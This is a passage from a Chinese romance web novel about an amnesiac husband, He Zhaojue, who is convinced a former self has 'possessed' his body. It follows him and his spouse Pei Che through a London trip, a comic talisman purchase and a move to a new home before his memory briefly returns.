裴澈灵光一闪，猛地对准下巴吧唧一口，信誓旦旦：“不好也没事，现在这样我也喜欢！”
真的？贺朝觉掀起眼皮瞅他。
裴澈认真脸：“对你，我的口味比较专一。”
贺朝觉：“……”
麻了。
这个爱人是哄不好了，看着越来越倾向于自闭的男人，裴澈拿出手机给达安发消息。
达安的叔叔是知名外科医生，昨天除了叙旧，裴澈也拜托他询问一下有没有熟悉的朋友做脑科。
“我到楼下了，澈，今天展会你不去吗？”
什么？裴澈朝窗户飞去一眼，不动声色道：“朝觉，达安来找我，我下去和他聊一会就上来。”
贺朝觉痛苦幽怨的眼睛一下睁大，脱口而出：“那个黄毛？”
裴澈：“……不是黄毛。”
贺朝觉嘴角下撇，看起来不是很同意。
裴澈亲亲他的额头，语气严肃：“你躺着休息一会，不要乱跑。”
达安在会客区的沙发坐着，手里还在看材料。
裴澈叫了两杯咖啡：“来一杯？”
“谢了，”两人对着坐下，达安开门见山，“可以问吗？你先生现在具体情况怎么样？”
裴澈皱眉，声音有点犹豫：“之前只知道他近三年的记忆混乱，但刚刚发现可能不止，现在的医生建议观察等待自然恢复。”
达安点点头，听着还算正常。
青年咬咬唇，又慢慢补充：“他最近还开始用不同人称指代失忆前自己，和现在的自己区分开，我担心……这是人格解离的前兆。”
达安一惊，听起来很严重啊！
两人表情严肃，黑发青年躬身向前，几乎要和对面的黄毛碰到一块了！
闪现到电梯墙拐角处的贺朝觉虎视眈眈。
和裴澈聊到一半的达安突然感觉背后发凉，抬头一看——
“澈！不好！是那个跟踪狂！”
金发男人猛地站起，把裴澈挡在身后，高声提醒瞬间吸引了整个大堂的注意。
前台，客人，其他工作人员……一下子所有目光汇聚到墙角。
男人穿着得体大衣，顶着潦草头发，行迹鬼祟。
裴澈：“……”
贺朝觉：“……”
裴澈紧紧身上的外套，三个人并排在河边溜达。客观来说，景色不错，嗯。
贺朝觉和达安一左一右，身形都很高大的男人把他夹在中间，就像两尊门神。
论中华文化的海外传播。
裴澈朝左边伸伸手：“这是我爱人，贺朝觉。”
朝右边伸伸手：“这是我师兄，达安。”
收回手交握，若有所思地总结：“其实毕业典礼上你们见过。”
达安当众把贺朝觉叫成跟踪狂，有点尴尬，主动打招呼：“你好，很高兴认识你。”
贺朝觉低眉斜看他伸来的手，轻蔑地哼了一声。
裴澈猛地转过来，拿手呼噜呼噜他的头发：“躺完起来怎么不梳头？”
转身对达安：“他也很高兴认识你。”
达安：“……”看向裴澈的眼神瞬间混杂同情钦佩和担忧，这情况确实很严重啊！
贺朝觉看一眼裴澈，沉着脸勉强开口：“想起来了，毕业典礼上确实见过。当时急着接阿澈去庆祝结婚周年，都没来得及打招呼。”
扫一眼达安：“师兄是在伦敦认识的阿澈吧？”
“对”，金发男人挠挠头，高兴地道，“你们真的好甜，听澈说，你们认识很早？”
裴澈接过话头：“嗯，他高中就认识我了，也是我师兄呢。”
“是吧，师兄？嗯？”
贺朝觉心头一揪，嘴角刚刚弯起的弧度瞬间消失。
达安提前离开去参加展会，裴澈和贺朝觉肩并肩往回走。
青年自然地把手揣进爱人口袋，十指相扣。
贺朝觉喉结滚动，指缝灼烫得像是抓住了窃来的财宝，理性叫嚣着要放开，感性支配着他越抓越紧。
没一会，裴澈掌心开始冒汗。
“……”
贺朝觉看着有点心不在焉，裴澈试探问道：“上次问你，结婚前的记忆清不清楚，你还记得高中时候怎么认识我的吗？”
贺朝觉一惊，下意识猛猛摇头：“不记得了。”
转念一想，不对哦，阿澈问的是他怎么认识的，不是那个人。
唔，他怎么认识的……？
蓦地瞳孔地震，怎么回事，他只记得自己喜欢阿澈很久，但细节呢？！
那个人的意识好像在吞噬他……
贺朝觉恐慌地抓住阿
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澈的手，生怕抓得不够牢，就会让重要的东西从指缝中溜走。
裴澈挣了挣，啪唧一下把两人交缠的手一起掏出来。
贺朝觉惊恐地看他。
裴澈：“热了。”
两人光明正大手拉着手一路晃回酒店，贺朝觉的目光凝在裴澈身上，又不知道在想什么。
裴澈凑过去看他的眼睛：“晚上要不要去约会？”
贺朝觉哑声：“和我吗？”
裴澈佯装左右看看：“没别人了吧？”
认真掐住他的脸，使劲揉：“是的是的，和你去约会，我最亲爱的爱人，贺朝觉。怎么样，晚上去看《歌剧魅影》？搞了两张二层楼座前排的票。”
青年眉眼弯弯，盛着澄澈的爱意。
他理不清楚这爱意朝谁而来，但清楚看见爱的背后有丑陋仇恨在蛰伏。
《歌剧魅影》，一个警示。
贺朝觉决意拒绝：“……好。”
晚上，套房穿衣镜前。
“不错不错，转两圈我瞅瞅。”
剧院有着装需求，裴澈又过了把奇迹觉觉的瘾。
贺朝觉一身深色系三件式西装，黑色羊毛大衣勾勒出挺拔肩背，精致马甲带着几分内敛典雅，头发也打理得俊朗抖擞，乍一看那个稳重温和的老攻又回来了。
“真好看！”裴澈毫不吝啬地夸奖，理好银色袖扣，亲昵地在脸颊上吻了一下。
他自己穿着一套相配的深色大衣，剪裁得体的礼服衬衫搭配同色系领结，胸袋插着一条银灰色丝质口袋巾。
从镜子里看，两人气质一稳重一清冷，非常相配。
票座位置很好，视野一览无余，能够清楚欣赏到灯光道具与演员之间的完美配合。
这是一场令人叹为观止的演出，但贺朝觉没有仔细看。
青年眼神专注，映照出场上灯光的变幻。
清凌凌的眸子未因场景的变化而转移，一直专注地凝视着舞台，像他说的，很专一。
贺朝觉则专注地看他，耳畔流过魅影的愤怒与柔情，余光里舞台灯光明灭变换，他一直看着青年，像是最后一次看他那样用力，直看到心脏发疼。
穿过神秘的地下通道，魅影将克里斯汀引向独属于他的音乐世界。
天才的华丽与阴郁，在地下湖泊瑰丽的布景中充分碰撞。
他带着迫切极端的爱意，引诱克里斯汀坠入掌控和迷失的恐惧。
扭曲的孤独和痛苦，以爱为名义的巨兽不断膨胀。
蜡烛、船只、水面……精巧的舞台设计将人拉入魅影的世界，周围的观众失去了声音，夜之乐章的低沉唱腔回荡在舞台上下。
在这寂静而深沉的瞬间，裴澈突然偏过头，眼中光芒闪烁，仿佛期待着一个眼神交汇。
贺朝觉蓦地感觉干渴。
青年心满意足地回头，虔静地看完克里斯汀和劳尔屋顶对唱。再入地下湖泊，魅影的疯狂被克里斯汀打动，放手让她离开。
贺朝觉的目光也终于转到舞台上，眸光明明灭灭。
他忍不住伸手握住裴澈，握得很紧。青年转头看他，眼角浸润着一层薄薄的水光。
他扣住裴澈的手，紧紧放进口袋里。
就在这时，青年突然凑上来，悄悄：“罪过，我真的超级磕魅影和克里斯汀，还给他们产过同人。”
贺朝觉：“？？？”
青年的嗓音清浅，说出的内容离谱又让他生出乱想。
良久，贺朝觉找回声音，反应过来前已经说出口：“……阿澈，我有件事要告诉你。”
44.第 44 章
贺朝觉的声音和魅影一同隐没黑暗，被潮水般的掌声盖住。
裴澈疑惑偏头，口型：“什么？”
青年眼神清凌澄澈，如果他问心无愧，抓住突然涌现的勇气，坦白一切，也许能奢求原谅，求一个新的可能。
但他是个懦夫。
一波波谢幕的潮水中，贺朝觉喉咙发紧，最终摇摇头。
晚上的伦敦眼摩天轮亮起灯光，点亮了整个河景。
深秋的风有点冻人，两个人拉着手偎得很紧，在河边散步。
裴澈还记着那句话，好奇：“你刚刚到底说了什么？是不是偷偷给我表白了？”
贺朝觉耳朵通红，扭过去：“……不是。没什么。”
正对上扎着头巾的女人路过，热情洋溢赞着他们好配，一朵玫瑰递到贺朝觉身前。
贺朝觉仿佛抓住了救命稻草，连忙伸手去接。
“谢——”谢说到一半，裴澈拽着他的手收回来，语气礼貌不失强硬：“不用了谢谢，祝你有美好的一天。”
女人脸色瞬间一变，追上来叽里呱啦地骂了一串。裴澈跟着换法语回击，拉着贺朝觉快步离开了。
情势急转直下，贺朝觉甚至没有发挥余地，废物懵逼。
裴澈恨铁不成钢：“你怎么什么人的东西都接？”
贺朝觉：“……她说我们好配。”
裴澈：“……”
算了，傻子算诈骗高危人群。
裴澈耐心解释：“这种骗局在热闹的地方很常见，伦敦眼下面更多，等你接了花，她就让你付十英镑。”
贺朝觉回想微微打蔫的一小朵玫瑰，震惊：“这么贵？”
裴澈眉眼间带着好笑：“现在知道厉害了吧，记得长点心眼。”
这种骗子比乞丐还不如，有手有脚领着政府救济行骗。骗到他头上算是倒霉，不是他看着，指不定要把贺总身家骗光光。
贺朝觉乖乖点头，受教了。
裴澈看得心头软乎乎，环顾四周，捏捏爱人的手指：“那边有花店，买几支带回酒店插吧。”
红的紫的白的黄的，娇艳欲滴的花朵折在包裹之中，有的清冷，有的艳丽。
眉眼隽永如画的青年眼神专注，手指拂过茎干，仔细挑选，比花朵还要昳美逼人。
想要独占他的想法像露水吻过花瓣一样自然。
“好看不？买了玫瑰，桔梗和尤加利叶，一会插到一块。”
裴澈捧着花回来，贺朝觉正对着手机点点点。
看见一闪而过的结账页面，裴澈疑惑：“买什么呢？”
贺朝觉吓得手忙脚乱，收起手机立正：“随便买买，给李特助的奖励。”
裴澈哦了一声，将信将疑地点点头：“李特助是很辛苦，这次没跟着过来，还要给你看好公司。”
*
修剪好的花枝浸在细颈长瓶里，冷冷的酒店变得温馨起来。
拉起窗帘露出夜景，裴澈坐到床头，对另一侧拍拍：“朝觉，过来。”
这……不太好吧。
贺朝觉走到床边，翻身钻进被子里，心怦怦跳和老婆排排坐。
裴澈语气平常：“想看什么？”
贺朝觉咽了口唾沫，偏头拿余光偷偷看老婆。青年换上了睡衣，领口微微敞开，修长腻白的脖颈连接精巧优美的锁骨，气质随性又慵懒。
没出息道：“都，都可以，就这样很好。”
“？？？”
裴澈头上挤出一排问号：“你要看国际新闻吗？”
贺朝觉如梦初醒，和疑惑的青年四目相对，目光从屏幕上亮起的国际新闻掉到他手里的电视遥控器：“……”
干巴巴：“哈哈哈哈，看电视啊。”
裴澈：“……”不然呢？
贺朝觉飞快脱罪：“阿澈，挑个你想看的电影，我都行。”
枕头软绵绵堆在后面，都不如怀里的青年抱起来软和。
大灯都关上，只剩床头灯和窗外的夜景。一种名为温柔的情愫静静流淌。
贺朝觉从国内追来时，只想远远看阿澈一眼。但现在，他不知道怎么才能放下。
剔除那个人的存在，他们会有新的可能吗……
“叮咚！”贺朝觉的手机突然响了。
裴澈微微一动，抬眼凉凉地指责：“你不关静音。”
贺朝觉：“……我现在关。”
裴澈躺在他身上，轻轻一捞就把男人的手机抓在手里：“没事，我好了。”
静音键按下，屏幕上的短信通知一闪而过，折叠起来。
裴澈放下手机。等等——
蹭地拿起手机按亮，通知中心赫然写着：
【您尾号xxxx信用卡网上银行支出18,888元人民币，商家招财纳福|卜凶算吉|大师开光】
裴澈：“？？？”
*
面对审问，贺朝觉不思悔改，嘴硬到底：“是送给李特助的……礼物。”
手机怼在面前，贺朝觉啪地闭嘴。
放大的屏幕上证据确凿，是他和商家的聊天记录。
【这个往生符，能保证死得彻底吗？】
【亲，我们的往生符很灵的，但只能超度亡魂，不能超度活人哈~】
【废话，当然是亡魂。能保证亡魂死得彻底吗？】
【亲，可以的哈，和同类产品相比，我们的往生符经过佛前供奉，大师开光，保证死得不能再彻底哈~】
下面是一个系统自动生成的订单通知，紧跟着贺朝觉凉凉一句：
【尽快发货。】
贺朝觉沉默两秒，试图挣扎：“……他最近见鬼了。”
裴澈嗤笑一声：“所以你买佛前开光的道家符篆送给他？”
贺朝觉瞳孔地震：“什么？这个是假货吗？”
裴澈语气凉凉：“别想蒙混过关。”
贺朝觉：“……”
青年坐在一边面无表情，被子下面，贺朝觉稍微曲腿就可以碰到他，但要留住他的距离看起来遥不可及。
贺朝觉思绪纷乱，偷偷摸摸瞅阿澈。
咬咬牙？本来也差点就坦白了。
但是没有准备，他现在脑子乱得很，根本不知道怎么措辞。那个人害了你爸爸，阿澈，你不能喜欢他，那个人就是之前你认识的我，不是，我这个壳子里面的人，不是，这个壳子是我的。
裴澈挑眉：“想好了？”
贺朝觉一哆嗦，脱口而出：“阿澈，你爸爸生病都是我害的！”
“？？？”
裴澈：“……什么东西？”
一阵凉风从窗缝卷进来，青年突然凭空呛了一口，捂着胸口咳得惊天动地。
贺朝觉慌得不行，抱过他轻轻拍背，顾不上自己刚刚说了什么玩意。
裴澈可没忘记，咳了一会停下来，颤抖着手推推贺朝觉。
拉开距离问：“你刚说什么？我是不是听错了？你害我爸爸？”
贺朝觉急了，眼睛一红：“阿澈，不是我，是他！”
开了
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头，后面的话好说许多。贺朝觉颠三倒四，乱七八糟地输出一通，裴澈基本算是听明白了。
他冷冷总结：“有一个人，他对我图谋不轨，为了得到我，先害我爸爸，再害我家公司，然后折磨我，还害得我、小、产。”
最后两个字，裴澈说得咬牙切齿。无他，剧本回收了。
非常不错，回炉重造理清逻辑，还顺带升级了。
裴澈荒谬地说出最后一句话：“……这个人不是眼前的你，是曾经的你，是你也不是你。”
贺朝觉蔫头耷脑，眼睛悄摸摸抬起来偷看，眸光里挂着点微末的希望：“阿澈，不是我，是他。”
裴澈：“……”
嘴角微抽，嘲讽先行：“他是病毒还是辐射？”
贺朝觉：“啊？”
裴澈气不打一处来，揪揪他的脸：“我爸当时住院，是因为心脏附近的血管丛边长了良性肿瘤！”
贺朝觉不管三七二十一，一口咬定：“对，就是他干的！”
裴澈：“……”你要不要听听自己在说什么？
“阿澈，你相信了吗？”
男人试探着抚上裴澈掐在自己脸上的手，声音颤抖，面露祈望：
“曾经伤害过你的人已经死了，我不是他。”
一手飞速举起手机，单手换了个屏保。
啪唧一声，醒目赛博黄符送到裴澈面前：“阿澈，你也换上，这个往生符能让他死得不能再死。”
*
裴澈抖着手给达安发消息。
人格分裂，真得不能再真了，十万火急。
卫生间的玻璃门犹犹豫豫被敲响：“阿澈，你还好吗？”
一想到青年躲在里面独自垂泪，贺朝觉的心就揪疼得紧。
裴澈放下手机，揉揉额头，开门出去。
“阿澈，不要哭了……阿澈，你连哭都哭不出来了吗？”
贺朝觉如遭雷击，看着青年干燥微白的脸庞，不敢想象他心里有多么痛苦。
声音干涩：“阿澈，你不要爱他了好不好，他死了，但是我还在，我不会对你做那些事……”
你能不能，爱爱我。
裴澈面无表情，啪唧按上贺朝觉哭唧唧的脸：“你觉得身体里面住着另一个人？”
贺朝觉：“……嗯。”
“你觉得他在和你争夺控制权？”
“…………嗯。”
“你还试图想杀死他？”
“嗯……阿澈，他已经死了！不是我干的！”
贺朝觉这个犟种坐在床边，裴澈尽量和颜悦色：“好的，我相信你，那个不是你，我只喜欢你。”
干脆地在额头亲了一口，图穷匕见：“但我们要相信科学，去医院接受治疗。”
贺朝觉犹犹豫豫抬头，裴澈更加和蔼。
他一梗脖子，突然警惕：“你想骗我，不用往生符了。”
裴澈：“……”
他这辈子吃过的饭都没今晚无过的语多。
裴澈破罐子破摔坐到床边：“科学的事情怎么能求诸神学？你这是人格分裂，又不是夺舍！”
贺朝觉震惊，猛地抬头——
裴澈只是随口嘲讽，跟着震惊住了。
两人四目相对，陷入可疑的沉默。
良久，贺朝觉沉痛开口，声音艰涩：“阿澈，果然瞒不过你，他已经夺舍过了，最开始和你结婚的就是他！”
不甘抬头，眸光可怜巴巴：“我不是他，你……可不可以给我一次机会？”
45.第 45 章
神学的事情得求诸科学。
版本2.0夺舍比1.0强取豪夺升级了一点点，贺朝觉不确定的不再仅仅是裴澈对他的爱，而是他自己，是两人婚姻的基石——他们为什么而结合？
裴澈怔怔垂眸看贺朝觉，男人似乎察觉到自己的失控，抿着嘴唇面露踌躇，眼神躲闪想要找补。
鉴定：过度自我表达后缺乏安全感，认定自己的需求不会得到满足。
“阿澈，没有机会也没事的。”贺朝觉勉强扯起嘴角，“但那个人真的——”
“给你机会，想要多少次都可以。”
“啊？”贺朝觉呆呆地抬头。
“只要你想要机会，我都给你，因为我真的很喜欢你。”裴澈凑上去抱住贺朝觉，眼睛有点发烫，他想起爱人隐藏多年的秘密，突然很心疼他眼里看到的三年婚姻。
真的吗？贺朝觉没出息地咽口水：“……那我可以亲亲你吗，阿澈？”
面对如此卑微的请求，裴澈毫不犹豫：“嗯。”
青年身上气息温和又包容，放松地全身心环抱着他，丝毫没有因为知道他不是那个人而抗拒。
贺朝觉心里仿佛揣了只兔子，转头轻轻在耳垂上碰了一下，欻地脸红，做贼似偷偷：
“阿澈，可是我们还没有结婚。”
裴澈：“……”
行口巴，你说没有就没有，是和那个人结的。
转头咬了下贺朝觉的嘴唇，言简意赅：“我们拍过结婚照，现在盖个章，没差的，回去再给你补上。”
贺朝觉震惊，阿澈居然猜出来是结婚照！
他高兴得不得了。裴澈起身去关窗户，回头看见男人脸红红把被子拉上来，露出两只眼睛偷偷看自己。
裴澈心头软得不行，此时如果爱人要一遍遍问他，你爱我吗，他愿意一遍遍不厌其烦地回答，是的，我爱你。
贺朝觉蹭地把脸拔出来，眼睛晶晶亮：“阿澈……我能不能问你一个问题？”
裴澈语气轻柔：“问吧。”
贺朝觉期待：“我可以帮你把屏保也换一下吗？”
*
李特助正在工位上摸鱼，突然收到BOSS的消息。
【[图片]换屏保。】
李特助：“？？？”BOSS知道自己中邪了，请符压一下？
“小陶，你也换一下。”
飞机上，男人西装革履容光焕发，下巴微抬矜贵冷漠，压不住高高扬起的嘴角：“可以压压脏东西。”
裴澈正趁着没起飞沟通国内的工作，听见“脏东西”，眉毛都没动一下。
恃宠而骄的贺总监督小陶换好屏保，得意地躺到老婆旁边，光明正大看老婆。
贺朝觉抵触就医，裴澈没再强行带他看病，只和达安介绍的脑科医生电话沟通。
结合最新情况，她给出的判断和国内医生一致，贺朝觉属于失忆，伴随认知冲突，可以通过一定熟悉事物刺激唤醒。
所以裴澈推了第三天的行程，和导师打了声招呼，匆匆带贺朝觉回国。
灯光暗下来，飞机缓缓升空。两个人头凑头侧对躺着，裴澈捏捏贺朝觉的手：
“说起来那个杯子……”
贺朝觉警惕：“阿澈，你是不是还放不下他？！”
裴澈飞快凑过去，加固临时封印，趁着贺朝觉脸红红：
“你有没有想过那对杯子其实是你做的？”
贺朝觉：“啊？”
裴澈简明扼要：“我和陶艺馆的郑老师见过，她一眼就认出来，这对杯子是你六年前亲手做的。六年前，你还没被夺舍吧？”
贺朝觉瞳孔放大，六年前？
男人一下子陷入了沉默，昏暗的灯光下，裴澈看不清表情，不禁拽紧他的手。
“阿澈！”贺朝觉一把反握住，语气里的惊喜快要溢出来，“这么说，你早就知道这对杯子是我送给你的？！”
裴澈：“对……”吧。反正都是贺朝觉送给他的。
贺朝觉心里甜滋滋，阿澈喜欢的是他！
眼底又闪过一丝微不可见的阴霾，而那个人，竟然试图修改他的记忆，篡取他和阿澈的定情信物！
符还是买少了！
“阿澈，你真是火眼金睛，明察秋毫！原来你根本就没有被那个小人迷惑！”老婆真的好爱他呜呜呜！
裴澈：“……乖。”
*
主卧还和他们离开时一样，贺朝觉匆匆追去伦敦，只带走杯子和纸条，床上被子维持着被一把掀开的造型，可见他当时有多着急。
裴澈稍作整理，换了身衣服，转头就见贺朝觉抱着个快递纸箱进来了。
“买的什——”裴澈急刹嘴，想起来贺朝觉买了什么。一时没想好，如果他想把这玩意贴在头上，自己应该怎么拒绝。
纸箱不小，看起来能装下不少符。也是，花了18,888，少说能把整个家贴一圈，赛博版本就是个添头。
裴澈惆怅地帮着一块拆，在一团泡沫纸里刨出来一张笔走龙蛇的朱砂黄符。
“没了？”他怀疑地倒倒纸箱，实体符才是那个添头？
微妙地松了口气，递给贺朝觉：“……打算怎么贴？”
男人高举起那张符，刷地送到额头的高度。
裴澈试图委婉：“咳，朝觉，我们打个商量，这个符它……威力太大，可能会伤到你的□□。”
啪唧！贺朝觉一把将往生符按在了床头的结婚照上。
裴澈：“……”
相框颤颤巍巍地抖了抖，不知道是不是在后悔曾经没被离婚协议书换下来。
裴澈昧着良心：“有用，照片里你、他的脸一下都黯淡了。”
贴符得到老婆的极大赞扬，再度增强了贺朝觉的信念。
老婆爱的真的是他！
那个人是死是死，老婆根本不在乎！
对着镜子凉凉勾起嘴角，贺朝觉眼神冰冷，仿佛在看一个死人：“你机关算尽，不过是把阿澈送到我身边，谢谢你，安心去吧。”
裴澈咚咚咚地敲门：“好了吗？牙还没刷好呢？”
“马上！”
贺朝觉手忙脚乱，匆匆抓起电动牙刷，就要往上挤牙膏。
突然顿住。
牙刷金属色调为主，点缀着一点蓝色，和旁边的另一只牙刷是一对。
阿澈用牙刷给他比过笑脸小人，但这对牙刷……是那个人置办的。
祈求爱意垂怜，却得到了过多回应，被阿澈纵容着的贺朝觉感觉自己的胃口不断膨胀，越来越不满足。
“阿澈……”拉开门，期期艾艾提出请求，“我们可以换一对牙刷吗？”
裴澈：“……怎么了？不喜欢吗？”
贺朝觉薄唇紧抿，
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垂着眼皮。
裴澈秒懂：“换！我们现在就去超市！”
贺朝觉俊朗的眉眼一下迸出星星：“阿澈还有毛巾漱口杯拖鞋杯垫抱枕水瓶钥匙扣！”
裴澈自责。
裴澈从来没发现自己身边隐藏的情侣款这么多。
他还在列购物清单，贺朝觉燃烧着野心的眼睛已经挑剔地巡查到了客厅。
地板是那个人选的，沙发是那个人选的，窗帘是那个人选的，这个家到处都是他的痕迹！
贺朝觉和裴澈对视，裴澈福至心灵：
“上次不是说要搬去西郊住？不如今晚就去，怎么样？”
西郊的房子有人定期打理，家装也都齐全，说搬就搬，两个人在别墅还没待热乎，拖着从机场带回来的行李直接到了西郊。
一开门，空气的味道都那么自由。
贺朝觉把两人一起采购的情侣款挨个放好，高高兴兴去刷牙。
出来一看，高大俊朗的男人头顶封印，裴澈呼吸骤停：“……不是和你说，这符贴在额头上，会伤害你的□□吗？”
上前一把揭下：“乖，这里确实没啥东西好压的，我给你找个东西装起来，贴身带着。”
贺朝觉没有异议，甜蜜地看着阿澈忙前忙后，因为找不到合适的容器，坐下来开始折纸。
“给你折个纸鹤装兜里，这样……额，他很快就飞走了。”
贺朝觉深以为然，他老婆真聪明：“阿澈，可以折个心形吗？”
裴澈：“？？？”
贺朝觉眼神深远：“这样他知道你的心在我身上，很快就会死心了。”
*
和老婆躺在西郊的房子里，把那个人的痕迹甩在身后，感受老婆反复确认只爱自己，把贺朝觉幸福得不行，早上四点半就醒了。
裴澈被一连串细密又纯情的亲亲痒醒，抓过床头的手机一看，拱进老攻怀里：“今天6点20日出，再睡一会。”
两小时后。
四楼的视野很好，太阳在地平线泄出点光亮，染得天边云彩一片灿金。
贺朝觉提前做了培根煎蛋，让裴澈不至于饿着。
小狗似的嗅探亲近毛绒绒滚过颈间，裴澈坐直往前靠，无奈：“你这么一直亲来亲去的，我怎么吃饭。”
贺朝觉失望：“哦。”然后老老实实地抱着裴澈不动了。
初升的太阳没有一点攻击性，温和地从地平线缓缓跃上来，只有朝霞晕着金边，越来越盛，逐渐藏不住明亮朝气的晨曦。
明晃晃的灿金光芒大放，天地间笼上一层名为清晨的滤镜。
裴澈慨叹地注视着眼前景象，感觉温馨又欣欣向荣，舒服地往贺朝觉怀里窝了窝：“真好看，早起值了。”
贺朝觉没搭腔。
说起来，爱人从刚刚开始就沉默得出奇。裴澈一惊，难道是针对亲亲的训斥伤害到了他脆弱的心灵？他还是个病人啊！
“你还好吗？我错了，给你亲亲。”
裴澈有点担心地转头，正在这时，一道温热濡湿的触感落在颈侧，微微用力，滚烫气息爬到耳畔。
男人轻柔地问，声音有点委屈：“阿澈，你只喜欢他，不喜欢我了吗？”
条件反射的“当然”就在嘴边，裴澈突然一阵心虚。
他猛地闭上嘴。
不对，这个不是小傻子贺朝觉！
46.第 46 章
裴澈僵硬一瞬，随即淡定道：“怎么会？”
若无其事拉过爱人的手，转身蹭蹭胸口，试图蒙混过关：“你回来了呀。”
贺朝觉不为所动，慢条斯理地掏出一张心形黄符，眼神幽怨：“阿澈，你还没回答我的问题。”
扫了一圈四周，又低声控诉：“连我们的家都搬出来了。”
裴澈：“……”
他算是看出来了，贺朝觉生病，遭罪的只有他。
男人眉眼如松，苍劲有神，垂眸看着裴澈，稳重气质被若有若无的可怜打破：“……阿澈都没有说喜欢我。”
“乖了，喜欢你。”
裴澈伸手摸上他的脸颊，突然出手如电，一把掐住，声量提高，“贺朝觉，你学那个幼稚鬼干什么？！”
贺朝觉：“……”
上次爱人突然清醒，又突然消失，留下好大一个烂摊子，估计这次也不会清醒很久。
把男人的精英脸皮扯成懵逼脸，裴澈非常非常生气地哼了一声：“时间有限，贺总不如想想，是不是有什么事情忘了给我交代。”
贺朝觉表情一僵。
完了，小傻子这段时间和漏勺似的，什么都抖落出去了。
“阿澈，”连忙讨饶地抱住老婆，“都交代得差不多了。”
裴澈斜着眼，似笑非笑：“是嘛，那你告诉我，留学是怎么回事？打算给我重修一下？”
“……”
贺朝觉深感丢人，偏过头声音闷沉：“我、贺朝觉为了控制裴澈，私下操纵资源，干预他的事业，所以……”
自己失忆以后想象力真丰富。
艰难地滚滚喉咙，闭闭眼一口气说完：“所以裴澈是个十八线小演员，最近刚刚晋升成导演！”
好家伙！裴澈哭笑不得，凑过去亲了口爱人通红的耳朵：“谢谢你啊，改过自新送我深造。”
只要能哄老婆开心，丢脸而已，没什么。
贺朝觉：“阿澈还想知道什么？”
线条刚毅的脸染上薄红，眼睫低垂不安地抖动，眉宇间却是舒展的。
人的潜意识动作会暴露很多想法，从这个角度看，贺朝觉失忆之后变坦诚了许多。
裴澈突然心中一动。
“其实也没什么，”慢慢开口，引得贺朝觉朝自己看来，“就是突然想到一些事情。”
一些。男人微不可见地一颤。
裴澈好笑又有点心疼，直直看进爱人眼里，笃定地说：“朝觉，两年前你去伦敦出差，也是见我的借口吧。”
“从结婚到恋爱，再到同居，我都不知道你做了这么多，你是不是，爱我爱得很辛苦？”
贺朝觉愣住，他没预料到是这样的问题。
不等爱人说话，裴澈主动投进男人僵硬的怀抱里，保证地在胸前蹭蹭：“不会再让你辛苦了。”
恢复了记忆，他也还是那个没有安全感的小傻子啊。
*
“有点不想上班了怎么办？”
裴澈一边换衣服一边抱怨。
贺朝觉低眉帮他整理领口：“裴导，您这样是要被送去英国深造的。”
“那其实也不错，还有人偷偷来看我。”
贺朝觉轻笑着亲他一下：“乖，中午偷偷去看你。”
裴澈抬眸定定看了他两眼，突然伸手挤开男人的嘴角：“不开心？”
贺朝觉怔怔：“……是有点。”
如果他现在是小傻子，就可以肆无忌惮地跟着阿澈去上班了。
就是有点费李特助。
“这么看还有点傻的，”裴澈莫名读懂了他的想法，笑着亲亲下巴，“想跟我去上班？”
贺朝觉眼神纯良，犹豫了一会点点头。
裴澈：“那要说出来哦，晚上补偿你去约会好不好？”
贺朝觉摸摸他的脸：“这样你太累了。”
为了参加电影节，剧组已经积攒了不少工作，裴澈早起陪小傻子看日出，今天就得加班加点了。
裴澈扁嘴表示不满：“早上不是还会学小傻子撒娇吗？感觉我还是比较吃那一套——”
话没说完，一道强劲的力道袭来，裴澈的呼吸瞬间被夺走。
贺朝觉扣住他的后脑，唇舌温柔不失强硬地把剩下的话推回去。
一吻结束，温热气息吐在裴澈脸侧，脸红红强调：“喜欢我。”
裴澈心满意足地上班去了。
*
两人中午时间都很紧，贺朝觉拎着饭盒过来探班，匆匆吃顿饭回去，再见就到了晚上。
“想吃什么？过了这个村可就没这个店了。”
灯光下的青年眉目如画，打算趁爱人恢复做顿晚饭。
有了上次的经验，两人知道贺朝觉随时可能变回去。
宽肩窄腰的男人靠在岛台边，摇摇头，凑上去在青年额头落下一吻。
裴澈警惕：“你干嘛？吃我不可以。”
贺朝觉：“……”
裴澈转身看冰箱，幽幽：“一会小傻子出来又要闹脾气，你们俩不是串通了来诈骗的吧。”
贺·们俩·突然心塞·朝觉：“……有面条，下点面条吧。”
软白细面浸着油润汤汁，上面卧着个金黄煎蛋，撒一把葱花。
“吃吧。”
裴澈坐到一边，撑着头看贺朝觉。
男人捞起一筷面又放下，抬头看一眼裴澈，长腿一跨挪到老婆旁边：“你不吃吗？”
前两天在路上，今天早起，又辛苦工作了一天。
裴澈摇摇头：“吃了犯困。”
贺朝觉的心情一下有点沉重。阿澈不想睡觉，因为一觉醒来，他可能又要失去记忆，留下阿澈面对那个小傻子。
裴澈疑惑：“你这是什么表情？我一会要加班，不能吃碳水，得吃点高蛋白。”
贺朝觉：“……行，一会给你煎块牛排。”
裴澈又抓住贺朝觉的手，十指相扣：“哎，其实还有一件事想问你来着。”
贺朝觉警觉：“什么？”
裴澈凑上去亲亲：“等你好了再说吧。”
夜晚的时间过得格外漫长，又很短暂，贺朝觉登堂入室，在裴澈的书房陪他加班。
可惜满脑子里都是黑历史回放，这是阿澈最后一块净土，我竟然打开了阿澈的心防！
什么东西，住脑！
可能是大脑咕噜咕噜的声音吵到了裴澈，青年敏锐抬眼：“你在想什么？”
贺朝觉果断：“没想什么！”
“哦，”裴澈失望地看文件，“感觉小傻子脑子里装着很多好玩的东西，净用来折磨我了。”
“好困啊，如果听一点有趣的事情，说不定能提提神。”
贺朝觉：“……”
裴澈觑着男人，心里憋坏：“那我只能问小
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傻子了——”
贺朝觉长腿一迈，眉眼间写着危险站到他面前：“阿澈，我有提神的办法，你要试试吗？”
忙活到半夜，两个人相拥着躺到床上。
贺朝觉眉眼一松，带着笑意控诉：“阿澈，你故意欺负我。”
裴澈嘴唇还有点肿，挑眉：“不是你欺负我？”
贺朝觉不答，低头轻轻吻一下青年额头：“谢谢。”
他怎么会担心阿澈偏爱小傻子，阿澈偏爱的，一直都是他。
贺朝觉：“阿澈，如果明天我变回去了，你带我回四中看看吧，有些答案我放在那里了，希望你可以找到。”
裴澈眼眶微红，紧紧偎进爱人怀里：“又不是生离死别，干嘛呢，把我弄哭了。”
贺朝觉认真：“亲哭可以吗？”
两个人的手攥在一起很紧，挡不住月落日升，时间从指缝里溜走。
早上，裴澈猛地惊醒，第一反应是去看身边的人。
线条刚毅的男人眉眼疏朗，噙着温柔笑意看他：“阿澈。”
没变回去。
